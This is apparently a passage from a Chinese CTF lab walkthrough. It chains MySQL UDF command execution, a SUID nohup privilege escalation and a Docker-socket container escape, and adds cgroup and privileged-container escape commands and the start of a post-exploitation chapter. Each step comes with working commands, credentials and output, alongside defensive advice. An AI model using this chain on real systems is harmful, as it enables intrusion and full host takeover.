uid=999(mysql) gid=999(mysql) groups=999(mysql)
mysql
成功在 MySQL 容器中获取命令执行权限。
4.8 UDF 提权防御建议
- 限制 FILE 权限:不要给普通用户 FILE 权限
- 设置 secure_file_priv:限制文件读写目录
- 最小权限原则:应用程序使用低权限数据库用户
- 监控 plugin 目录:监控 plugin 目录的文件变化
第五章 MySQL 容器内 SUID 提权获取 Flag2
5.1 攻击思路的形成
5.1.1 当前位置与目标
在上一章中,已经通过 MySQL UDF 获取了 MySQL 容器的命令执行权限。需要明确当前的攻击位置:
| 层级 | 位置 | 当前状态 |
|---|---|---|
| 宿主机 | 10.10.1.187 | 尚未访问 |
| Web 容器 | www-data 用户 | 已获取(第三章) |
| MySQL 容器 | mysql 用户 (uid=999) | 当前位置 |
重要说明:本章的目标是在 MySQL 容器内部进行提权,从 mysql 用户提升到 root 用户,以读取容器内的 /flag 文件。这不是 Docker 逃逸——我们仍然在 MySQL 容器内部操作,只是提升了容器内的权限。
5.1.2 为什么需要提权?
当前用户是 mysql(uid=999),权限有限。通过检查发现容器内存在 /flag 文件,但权限为 -r--------(只有 root 可读)。因此需要在容器内部找到提权方法。
常见的 Linux 提权方法:
| 方法 | 原理 | 检查命令 |
|---|---|---|
| SUID 提权 | 利用具有 SUID 权限的程序 | find / -perm -u=s -type f |
| sudo 提权 | 利用 sudo 配置不当 | sudo -l |
| 内核漏洞 | 利用内核漏洞提权 | uname -r |
| 定时任务 | 利用 cron 任务 | cat /etc/crontab |
| 敏感文件 | 读取密码文件等 | cat /etc/shadow |
5.2 SUID 权限原理
5.2.1 什么是 SUID?
SUID(Set User ID)是 Linux 文件权限的一种特殊标志。当一个可执行文件设置了 SUID 位后,任何用户执行该文件时,都会以文件所有者的权限运行,而不是执行者自己的权限。
示例:
bash复制# 查看 passwd 命令的权限
ls -la /usr/bin/passwd
-rwsr-xr-x 1 root root 59640 Mar 22 2019 /usr/bin/passwd
# ^
# s 表示设置了 SUID 位
passwd 命令需要修改 /etc/shadow 文件(只有 root 可写),因此设置了 SUID 位,使普通用户也能修改自己的密码。
5.2.2 SUID 提权的原理
如果一个具有 SUID 权限的程序存在漏洞或设计缺陷,攻击者可以利用它以 root 权限执行任意命令。
5.3 查找 SUID 文件
在 MySQL 容器中查找具有 SUID 权限的文件:
bash复制# 查找 SUID 文件并写入临时文件
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('find / -perm -u=s -type f 2>/dev/null > /tmp/suid.txt');" mysql
# 设置文件权限
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('chmod 644 /tmp/suid.txt');" mysql
# 读取 SUID 文件列表
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT LOAD_FILE('/tmp/suid.txt');" mysql
返回结果(发现的 SUID 文件):
/usr/bin/chage # 修改用户密码过期信息
/usr/bin/gpasswd # 管理组密码
/usr/bin/newgrp # 切换用户组
/usr/bin/nohup # 后台运行命令 <-- 异常!
5.3.1 为什么 nohup 有 SUID 权限是异常的?
正常情况下,nohup 命令不应该具有 SUID 权限。nohup 的功能是让命令在用户退出终端后继续运行,这个功能不需要 root 权限。
如果 nohup 具有 SUID 权限,意味着:
- 任何用户都可以通过
nohup以 root 权限执行命令 - 这是一个严重的安全配置错误
5.4 检查 flag 文件权限
bash复制# 查看根目录文件列表
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('ls -la / > /tmp/root_ls.txt');" mysql
# 设置文件权限
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('chmod 644 /tmp/root_ls.txt');" mysql
# 读取结果
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT LOAD_FILE('/tmp/root_ls.txt');" mysql
返回结果:
-r-------- 1 root root 44 Jan 18 13:55 flag
/flag 文件权限为 -r--------,只有 root 用户可读。当前用户是 mysql,无法直接读取。
5.5 利用 SUID nohup 读取 Flag2
5.5.1 利用原理
由于 nohup 具有 SUID 权限且所有者是 root,通过 nohup 执行的命令将以 root 权限运行。因此可以使用 nohup cat /flag 来读取只有 root 可读的文件。
5.5.2 执行提权
bash复制# 使用 nohup 执行 cat 命令读取 flag
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('/usr/bin/nohup cat /flag > /tmp/f.txt 2>&1');" mysql
# 修改输出文件权限以便读取
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('chmod 644 /tmp/f.txt');" mysql
# 读取 flag 内容
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT LOAD_FILE('/tmp/f.txt');" mysql
获取 Flag2:flag2{e25ce9d8-dc48-426c-92db-4d07899b4f75}
5.6 SUID 提权的其他常见场景
在实际渗透测试中,以下 SUID 程序也可能被利用:
| 程序 | 利用方法 |
|---|---|
find | find . -exec /bin/sh -p \; |
vim | :!sh 或 :shell |
python | python -c 'import os; os.system("/bin/sh")' |
bash | bash -p |
cp | 覆盖 /etc/passwd 或 /etc/shadow |
推荐资源:GTFOBins 收录了大量 SUID 程序的利用方法。
5.7 SUID 提权防御建议
- 最小化 SUID 程序:定期审计并移除不必要的 SUID 权限bash复制
# 查找所有 SUID 文件 find / -perm -u=s -type f 2>/dev/null # 移除不必要的 SUID 权限 chmod u-s /path/to/file - 使用 Linux capabilities:用细粒度的 capabilities 替代 SUIDbash复制
# 使用 capabilities 替代 SUID setcap cap_net_bind_service=+ep /path/to/program - 容器安全加固:在 Docker 容器中移除不必要的 SUID 位dockerfile复制
# 在 Dockerfile 中移除所有 SUID 位 RUN find / -perm -u=s -type f -exec chmod u-s {} \; - 定期安全审计:使用自动化工具定期检查 SUID 配置
第六章 Docker 逃逸获取 Flag3
6.1 攻击思路的形成
6.1.1 当前攻击进度回顾
在前几章中,我们已经完成了以下攻击路径:
┌─────────────────────────────────────────────────────────────────
攻击路径回顾
├─────────────────────────────────────────────────────────────────┤
第一章:信息收集 → 发现 SQL 注入点
↓
第二章:SQL 注入 → 获取 flag1 + 数据库信息
↓
第三章:文件上传 → Web 容器 RCE (www-data)
↓
第四章:MySQL UDF → MySQL 容器 RCE (mysql 用户)
↓
第五章:SUID 提权 → MySQL 容器 root → 获取 flag2
↓
第六章:容器 → 宿主机 → flag3
└─────────────────────────────────────────────────────────────────┘
在上一章中,我们通过 SUID 提权获取了 MySQL 容器内的 flag2。但作为渗透测试人员,需要继续探索:是否还有其他目标?是否可以突破容器边界?
6.2 Docker 容器逃逸原理精讲
教学重点:本节深入讲解 Docker 容器逃逸的底层原理,帮助学员理解为什么某些配置会导致安全风险,以及攻击者是如何利用这些风险的。
6.2.1 Docker 架构与安全边界
Docker 采用 客户端-服务器(C/S)架构:
┌─────────────────────────────────────────────────────────────────────────┐
│ Docker 架构示意图 │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ ┌──────────────┐ ┌──────────────────────────────────────┐ │
│ │ Docker CLI │ │ Docker Daemon (dockerd) │ │
│ │ (docker命令) │ ──────► │ - 管理镜像、容器、网络、存储卷 │ │
│ └──────────────┘ API │ - 监听 /var/run/docker.sock │ │
│ │ - 以 root 权限运行 │ │
│ └──────────────────────────────────────┘ │
│ │ │
│ │ 创建/管理 │
│ ▼ │
│ ┌─────────────┐ ┌─────────────┐ ┌─────────────┐ │
│ │ 容器 A │ │ 容器 B │ │ 容器 C │ │
│ │ (隔离环境) │ │ (隔离环境) │ │ (隔离环境) │ │
│ └─────────────┘ └─────────────┘ └─────────────┘ │
│ │
│ ════════════════════════════════════════════════════════════════ │
│ 宿主机内核 (Linux Kernel) │
│ ════════════════════════════════════════════════════════════════ │
│ │
└─────────────────────────────────────────────────────────────────────────┘
关键组件说明:
| 组件 | 说明 | 安全影响 |
|---|---|---|
| Docker Daemon | 后台服务进程,以 root 权限运行 | 控制 Daemon = 控制宿主机 |
| Docker Socket | Unix 套接字 /var/run/docker.sock | 访问 Socket = 访问 Daemon |
| Docker API | RESTful API,通过 Socket 通信 | API 无认证机制 |
| 容器 | 基于 namespace 和 cgroup 的隔离环境 | 隔离可被突破 |
6.2.2 为什么 Docker Socket 暴露是致命的?
核心问题:Docker Daemon 以 root 权限运行,且 Docker API 默认无认证。
当容器内可以访问 /var/run/docker.sock 时,攻击者可以:
┌─────────────────────────────────────────────────────────────────────────┐
│ Docker Socket 暴露的攻击路径 │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ 攻击者在容器内 │
│ │ │
│ ▼ │
│ 访问 /var/run/docker.sock │
│ │ │
│ ▼ │
│ 调用 Docker API(无需认证) │
│ │ │
│ ├──► 创建特权容器 │
│ │ │ │
│ │ ▼ │
│ │ 挂载宿主机根目录 /:/host │
│ │ │ │
│ │ ▼ │
│ │ 读写宿主机任意文件 │
│ │ │
│ ├──► 执行宿主机命令 │
│ │ │
│ └──► 完全控制宿主机 │
│ │
└─────────────────────────────────────────────────────────────────────────┘
为什么 Docker API 没有认证?
这是一个设计决策而非漏洞:
- Docker 假设只有受信任的用户才能访问 Socket
- Socket 文件权限默认为
srw-rw---- root docker - 只有 root 用户或 docker 组成员才能访问
问题出在哪里?
当管理员将 Socket 挂载到容器中时(常见于 CI/CD 场景):
yaml复制# docker-compose.yml 中的危险配置
volumes:
- /var/run/docker.sock:/var/run/docker.sock
这相当于将宿主机的 root 权限交给了容器。
6.2.3 Docker API 关键端点详解
Docker API 是 RESTful 风格的 HTTP API,通过 Unix Socket 通信。以下是攻击中常用的端点:
| HTTP 方法 | 端点 | 功能 | 攻击用途 |
|---|---|---|---|
GET | /containers/json | 列出所有容器 | 信息收集 |
POST | /containers/create | 创建新容器 | 创建特权容器 |
POST | /containers/{id}/start | 启动容器 | 启动恶意容器 |
GET | /containers/{id}/logs | 获取容器日志 | 获取命令输出 |
POST | /containers/{id}/exec | 在容器中执行命令 | 执行恶意命令 |
GET | /images/json | 列出所有镜像 | 选择基础镜像 |
DELETE | /containers/{id} | 删除容器 | 清理痕迹 |
通过 curl 调用 Docker API 的语法:
bash复制# 基本语法
curl --unix-socket /var/run/docker.sock http://localhost/<endpoint>
# 示例:列出所有容器
curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json
# 示例:创建容器(POST 请求需要 JSON body)
curl -s -X POST \
--unix-socket /var/run/docker.sock \
-H "Content-Type: application/json" \
-d '{"Image":"alpine","Cmd":["id"]}' \
http://localhost/containers/create
6.2.4 容器逃逸的核心技术:挂载宿主机文件系统
关键参数:HostConfig.Binds
当创建容器时,可以通过 Binds 参数将宿主机目录挂载到容器内:
json复制{
"Image": "alpine",
"Cmd": ["cat", "/host/etc/shadow"],
"HostConfig": {
"Binds": ["/:/host"] // 将宿主机根目录挂载到容器的 /host
}
}
这意味着什么?
┌─────────────────────────────────────────────────────────────────────────┐
│ 文件系统挂载示意图 │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ 宿主机文件系统 新创建的容器 │
│ ┌─────────────┐ ┌─────────────────────┐ │
│ │ / │ │ / │ │
│ │ ├── etc/ │ Binds 挂载 │ ├── host/ │ │
│ │ │ ├── passwd ◄─────────────► │ │ ├── etc/ │ │
│ │ │ ├── shadow │ │ │ ├── passwd │ │
│ │ │ └── ... │ │ │ ├── shadow │ │
│ │ ├── root/ │ │ │ │ └── ... │ │
│ │ │ └── .ssh/ │ │ ├── root/ │ │
│ │ ├── var/ │ │ │ │ └── .ssh/ │ │
│ │ └── ... │ │ │ └── ... │ │
│ └─────────────┘ │ └── ... │ │
│ └─────────────────────┘ │
│ │
│ 容器内访问 /host/etc/shadow = 访问宿主机的 /etc/shadow │
│ │
└─────────────────────────────────────────────────────────────────────────┘
6.2.5 特权容器(Privileged Container)的危险性
除了挂载文件系统,还可以创建特权容器:
json复制{
"Image": "alpine",
"HostConfig": {
"Privileged": true // 特权模式
}
}
特权容器拥有的能力:
| 能力 | 说明 | 安全风险 |
|---|---|---|
| 所有 Linux Capabilities | 拥有全部 38 种 capabilities | 可执行任意特权操作 |
| 访问所有设备 | 可访问 /dev 下所有设备 | 可直接读写磁盘 |
| 禁用 AppArmor/SELinux | 安全模块被禁用 | 无安全限制 |
| 禁用 Seccomp | 系统调用过滤被禁用 | 可执行任意系统调用 |
| 共享宿主机 PID 命名空间 | 可看到宿主机进程 | 可注入宿主机进程 |
特权容器逃逸示例:
bash复制# 在特权容器内,直接挂载宿主机磁盘
mkdir /mnt/host
mount /dev/sda1 /mnt/host
cat /mnt/host/etc/shadow
6.2.6 攻击链总结
在本靶机中,完整的 Docker 逃逸攻击链如下:
┌─────────────────────────────────────────────────────────────────────────┐
│ Docker 逃逸攻击链 │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ 1. 前置条件 │
│ └── MySQL 容器内有 root 权限(通过 SUID 提权获得) │
│ └── 容器内存在 /var/run/docker.sock(管理员错误配置) │
│ │
│ 2. 信息收集 │
│ └── 确认 Docker Socket 存在且可访问 │
│ └── 通过 Docker API 获取可用镜像列表 │
│ │
│ 3. 创建恶意容器 │
│ └── 使用 Docker API 创建新容器 │
│ └── 配置 Binds 挂载宿主机根目录到 /host │
│ └── 可选:启用 Privileged 模式获取更多权限 │
│ │
│ 4. 执行攻击 │
│ └── 启动容器 │
│ └── 容器内执行命令,通过 /host 访问宿主机文件 │
│ └── 读取 flag、植入后门、窃取凭据等 │
│ │
│ 5. 清理痕迹 │
│ └── 删除创建的容器 │
│ └── 清理日志文件 │
│ │
└─────────────────────────────────────────────────────────────────────────┘
6.2.7 为什么这不是 Docker 的漏洞?
重要澄清:Docker Socket 暴露导致的容器逃逸不是 Docker 的漏洞,而是配置错误。
Docker 官方文档明确警告:
"Giving containers access to the Docker socket is equivalent to giving them root access to the host." (给容器访问 Docker Socket 的权限等同于给它们宿主机的 root 权限)
常见的错误配置场景:
- CI/CD 流水线:Jenkins、GitLab Runner 等需要构建 Docker 镜像
- 容器编排工具:Portainer、Rancher 等管理工具
- 监控工具:cAdvisor、Prometheus 等需要获取容器信息
- 开发环境:Docker-in-Docker (DinD) 场景
正确的做法:
- 使用 Docker-in-Docker (DinD) 而非挂载 Socket
- 使用 Kaniko、Buildah 等无 daemon 的构建工具
- 如必须挂载,使用 docker-socket-proxy 限制 API 访问
6.3 实战:检测与利用 Docker Socket
6.3.1 确认当前容器中是否还有其他 flag
首先在 MySQL 容器中搜索所有包含 "flag" 的文件:
bash复制mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('/usr/bin/nohup find / -name \"*flag*\" -type f 2>/dev/null > /tmp/find_flags.txt');" mysql
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('chmod 644 /tmp/find_flags.txt');" mysql
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT LOAD_FILE('/tmp/find_flags.txt');" mysql
搜索结果(过滤系统文件后):
/tmp/flag.txt
/flag
只找到了 /flag(已获取的 flag2),当前容器中没有其他 flag。
6.3.2 检查是否存在逃逸到宿主机的可能
既然当前容器中没有更多 flag,需要考虑:是否可以访问宿主机? 检查常见的 Docker 逃逸条件:
bash复制# 检查 Docker Socket 是否存在
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('/usr/bin/nohup ls -la /var/run/docker.sock > /tmp/docker_sock.txt 2>&1');" mysql
# 设置文件权限以便读取
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('chmod 644 /tmp/docker_sock.txt');" mysql
# 读取结果
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT LOAD_FILE('/tmp/docker_sock.txt');" mysql
返回结果:
srw-rw---- 1 root 980 0 Jan 18 13:55 /var/run/docker.sock
关键发现:Docker Socket 存在且可访问!这意味着可以与 Docker daemon 通信,有可能访问宿主机文件系统。
6.3.3 探测宿主机是否存在其他 flag
通过 Docker API 创建一个临时容器,挂载宿主机根目录,搜索是否存在其他 flag 文件:
bash复制# 使用 MySQL 直接写入 JSON payload(避免 base64 编码问题)
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT '{\"Image\":\"mysql:5.7\",\"Cmd\":[\"find\",\"/host\",\"-maxdepth\",\"3\",\"-name\",\"*flag*\",\"-type\",\"f\"],\"HostConfig\":{\"Binds\":[\"/:/host\"]}}' INTO OUTFILE '/tmp/find_payload.json';" mysql
# 创建探测容器
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s -X POST --unix-socket /var/run/docker.sock -H Content-Type:application/json -d @/tmp/find_payload.json http://localhost/containers/create\" > /tmp/find_container.json 2>&1');" mysql
第一步:读取创建容器的返回结果,获取容器 ID:
bash复制# 设置文件权限
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('chmod 644 /tmp/find_container.json');" mysql
# 读取容器创建结果
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT LOAD_FILE('/tmp/find_container.json');" mysql
返回结果:
json复制{"Id":"a1b2c3d4e5f6...","Warnings":[]}
从返回的 JSON 中提取容器 ID(这里假设为 a1b2c3d4e5f6,实际操作时请使用真实返回的 ID)。
第二步:启动容器:
bash复制# 使用上一步获取的容器 ID
CONTAINER_ID='a1b2c3d4e5f6'
# 启动容器
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s -X POST --unix-socket /var/run/docker.sock http://localhost/containers/$CONTAINER_ID/start\" > /tmp/start.txt 2>&1');" mysql
# 等待容器执行完成
sleep 2
# 检查启动结果(可选,成功时返回空)
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('chmod 644 /tmp/start.txt');" mysql
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT LOAD_FILE('/tmp/start.txt');" mysql
说明:Docker API 的 /containers/{id}/start 成功时返回 HTTP 204 No Content,所以文件内容为空表示启动成功。
第三步:获取容器日志(搜索结果):
bash复制# 获取容器日志
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s --unix-socket /var/run/docker.sock http://localhost/containers/$CONTAINER_ID/logs?stdout=true\" > /tmp/find_logs.txt 2>&1');" mysql
# 设置文件权限
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('chmod 644 /tmp/find_logs.txt');" mysql
# 读取搜索结果
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT LOAD_FILE('/tmp/find_logs.txt');" mysql
返回结果(宿主机上发现的 flag 相关文件):
/host/app/files/flag # 这是挂载到容器的 flag2
/host/flag # 这是宿主机根目录的 flag(新发现!)
重要发现:宿主机根目录存在 /flag 文件,这与 MySQL 容器中的 /flag 是不同的文件!这就是 flag3 的位置。
6.3.4 攻击目标确定
通过信息收集,确认了:
- MySQL 容器中的
/flag是 flag2 - 宿主机根目录的
/flag是一个新的 flag(flag3) - 可以通过 Docker Socket 进行容器逃逸来获取 flag3
6.4 查看可用镜像
首先需要知道宿主机上有哪些 Docker 镜像可用:
bash复制# 获取镜像列表
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s --unix-socket /var/run/docker.sock http://localhost/images/json\" > /tmp/img.json 2>&1');" mysql
# 设置文件权限
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('chmod 644 /tmp/img.json');" mysql
# 读取镜像列表
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT LOAD_FILE('/tmp/img.json');" mysql
返回结果(JSON 格式,包含镜像信息):
json复制[{"Id":"sha256:...","RepoTags":["mysql:5.7"],...},{"Id":"sha256:...","RepoTags":["php:7.4.9-apache"],...},...]
可用镜像:
mysql:5.7- MySQL 数据库镜像php:7.4.9-apache- PHP Web 服务镜像app_web:latest- 应用 Web 镜像
选择 mysql:5.7 镜像来创建逃逸容器(因为它已经存在,不需要下载)。
6.5 创建逃逸容器
6.5.1 构造 API 请求
创建容器的 API 请求需要一个 JSON 格式的请求体,包含:
Image:使用的镜像名称Cmd:容器启动后执行的命令HostConfig.Binds:目录挂载配置
json复制{
"Image": "mysql:5.7",
"Cmd": ["cat", "/host/flag"],
"HostConfig": {
"Binds": ["/:/host"]
}
}
配置解释:
"Image": "mysql:5.7":使用 mysql:5.7 镜像"Cmd": ["cat", "/host/flag"]:容器启动后执行cat /host/flag"Binds": ["/:/host"]:将宿主机的/挂载到容器的/host
6.5.2 执行 API 请求
重要说明:由于 mysql 用户(uid=999)没有权限直接访问 docker.sock(属于组 980),我们需要使用 SUID nohup 以 root 权限执行 curl 命令。
步骤 1:使用 MySQL 的 SELECT INTO OUTFILE 写入 JSON payload
这种方法比 base64 编码更可靠,避免了 shell 转义问题:
bash复制# 使用 MySQL 直接写入 JSON payload 文件
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT '{\"Image\":\"mysql:5.7\",\"Cmd\":[\"cat\",\"/host/flag\"],\"HostConfig\":{\"Binds\":[\"/:/host\"]}}' INTO OUTFILE '/tmp/docker_payload.json';" mysql
验证 payload 文件内容:
bash复制mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT LOAD_FILE('/tmp/docker_payload.json');" mysql
返回结果:
json复制{"Image":"mysql:5.7","Cmd":["cat","/host/flag"],"HostConfig":{"Binds":["/:/host"]}}
步骤 2:调用 Docker API 创建容器
bash复制# 使用 SUID nohup 以 root 权限执行 curl(因为 mysql 用户没有 docker.sock 访问权限)
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s -X POST --unix-socket /var/run/docker.sock -H Content-Type:application/json -d @/tmp/docker_payload.json http://localhost/containers/create\" > /tmp/container_create.json 2>&1');" mysql
# 设置文件权限
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('chmod 644 /tmp/container_create.json');" mysql
# 读取容器创建结果,获取容器 ID
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT LOAD_FILE('/tmp/container_create.json');" mysql
返回结果:
json复制{"Id":"44b7a0c0eab18367dba0677997d4023ba7321a135c97c5eba385527d8c83e272","Warnings":[]}
容器创建成功,返回了容器 ID。请记录这个 ID,后续步骤需要使用。
6.6 启动容器并获取 Flag3
6.6.1 启动容器
容器创建后处于停止状态,需要调用 /containers/{id}/start API 启动它:
使用上一步获取的容器 ID:
bash复制# 设置容器 ID 变量(使用上一步返回的实际 ID)
CONTAINER_ID='44b7a0c0eab18367dba0677997d4023ba7321a135c97c5eba385527d8c83e272'
# 启动容器
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s -X POST --unix-socket /var/run/docker.sock http://localhost/containers/$CONTAINER_ID/start\" > /tmp/container_start.txt 2>&1');" mysql
# 等待容器执行完成(容器执行 cat 命令后会自动退出)
sleep 2
# 检查启动结果(可选,成功时返回空)
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('chmod 644 /tmp/container_start.txt');" mysql
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT LOAD_FILE('/tmp/container_start.txt');" mysql
说明:Docker API 的 /containers/{id}/start 成功时返回 HTTP 204 No Content,所以文件内容为空表示启动成功。
6.6.2 获取容器输出
容器执行 cat /host/flag 后会退出,输出内容保存在容器日志中。通过 /containers/{id}/logs API 获取:
bash复制# 获取容器日志(flag3 内容)
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s --unix-socket /var/run/docker.sock http://localhost/containers/$CONTAINER_ID/logs?stdout=true\" > /tmp/flag3_output.txt 2>&1');" mysql
# 设置文件权限(重要:否则 LOAD_FILE 可能无法读取)
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('chmod 644 /tmp/flag3_output.txt');" mysql
# 读取 flag3
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT LOAD_FILE('/tmp/flag3_output.txt');" mysql
返回结果(注意:输出开头可能包含 Docker 日志的二进制头信息):
flag3{e4bab86e-5c8b-4133-a661-bb343d452ce3}
成功获取 Flag3:flag3{e4bab86e-5c8b-4133-a661-bb343d452ce3}
6.7 Docker 逃逸的其他方法
除了 Docker Socket 挂载,还有其他常见的 Docker 逃逸方法:
6.7.1 特权容器逃逸
如果容器以 --privileged 模式运行,可以直接访问宿主机设备:
bash复制# 检查是否为特权容器
cat /proc/1/status | grep CapEff
# 如果值为 0000003fffffffff,则为特权容器
# 挂载宿主机磁盘
mkdir /mnt/host
mount /dev/sda1 /mnt/host
cat /mnt/host/flag
6.7.2 cgroup 逃逸(CVE-2022-0492)
利用 cgroup v1 的 release_agent 机制逃逸:
bash复制# 创建 cgroup
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp
mkdir /tmp/cgrp/x
# 设置 release_agent
echo 1 > /tmp/cgrp/x/notify_on_release
echo "#!/bin/sh" > /cmd
echo "cat /flag > /tmp/flag" >> /cmd
chmod +x /cmd
echo "/cmd" > /tmp/cgrp/release_agent
# 触发 release_agent
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
6.8 Docker 逃逸防御建议
- 不要挂载 Docker socketyaml复制
# docker-compose.yml 中避免这样的配置 volumes: - /var/run/docker.sock:/var/run/docker.sock # 危险! - 不要使用特权容器bash复制
# 避免使用 --privileged docker run --privileged ... # 危险! # 使用最小权限 docker run --cap-drop=ALL --cap-add=NET_BIND_SERVICE ... - 使用 rootless Dockerbash复制
# 以非 root 用户运行 Docker daemon dockerd-rootless-setuptool.sh install - 启用安全策略bash复制
# 使用 AppArmor docker run --security-opt apparmor=docker-default ... # 使用 Seccomp docker run --security-opt seccomp=/path/to/seccomp.json ... - 使用只读文件系统bash复制
docker run --read-only ... - 限制资源访问bash复制
# 禁止访问宿主机网络 docker run --network=none ... # 禁止访问宿主机 PID 命名空间 docker run --pid=container:other_container ...
第七章 宿主机后渗透与持久化
在获取 flag3 后,渗透测试并未结束。在真实的 APT(高级持续性威胁)攻击场景中,攻击者会进一步巩固对宿主机的控制,建立持久化后门,为后续的横向移动和数据窃取做准备。
7.1 宿主机信息收集
7.1.1 获取交互式 Shell
首先,通过 Docker 逃逸获取宿主机的交互式 Shell:
bash复制# 使用 MySQL 直接写入 JSON payload 文件
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT '{\"Image\":\"mysql:5.7\",\"Cmd\":[\"/bin/bash\"],\"Tty\":true,\"OpenStdin\":true,\"HostConfig\":{\"Binds\":[\"/:/host\"],\"Privileged\":true}}' INTO OUTFILE '/tmp/shell_payload.json';" mysql
# 创建容器
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s -X POST --unix-socket /var/run/docker.sock -H Content-Type:application/json -d @/tmp/shell_payload.json http://localhost/containers/create?name=shell_container\" > /tmp/shell_create.txt 2>&1');" mysql
# 设置文件权限并读取结果
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('chmod 644 /tmp/shell_create.txt');" mysql
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT LOAD_FILE('/tmp/shell_create.txt');" mysql
返回结果:
json复制{"Id":"...容器ID...","Warnings":[]}
重要:启动容器
创建容器后必须启动它:
bash复制# 使用返回的容器 ID 启动容器
CONTAINER_ID='上一步返回的容器ID'
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s -X POST --unix-socket /var/run/docker.sock http://localhost/containers/$CONTAINER_ID/start\" > /tmp/shell_start.txt 2>&1');" mysql
# 检查启动结果
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT sys_exec('chmod 644 /tmp/shell_start.txt');" mysql
mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \
-e "SELECT LOAD_FILE('/tmp/shell_start.txt');" mysql
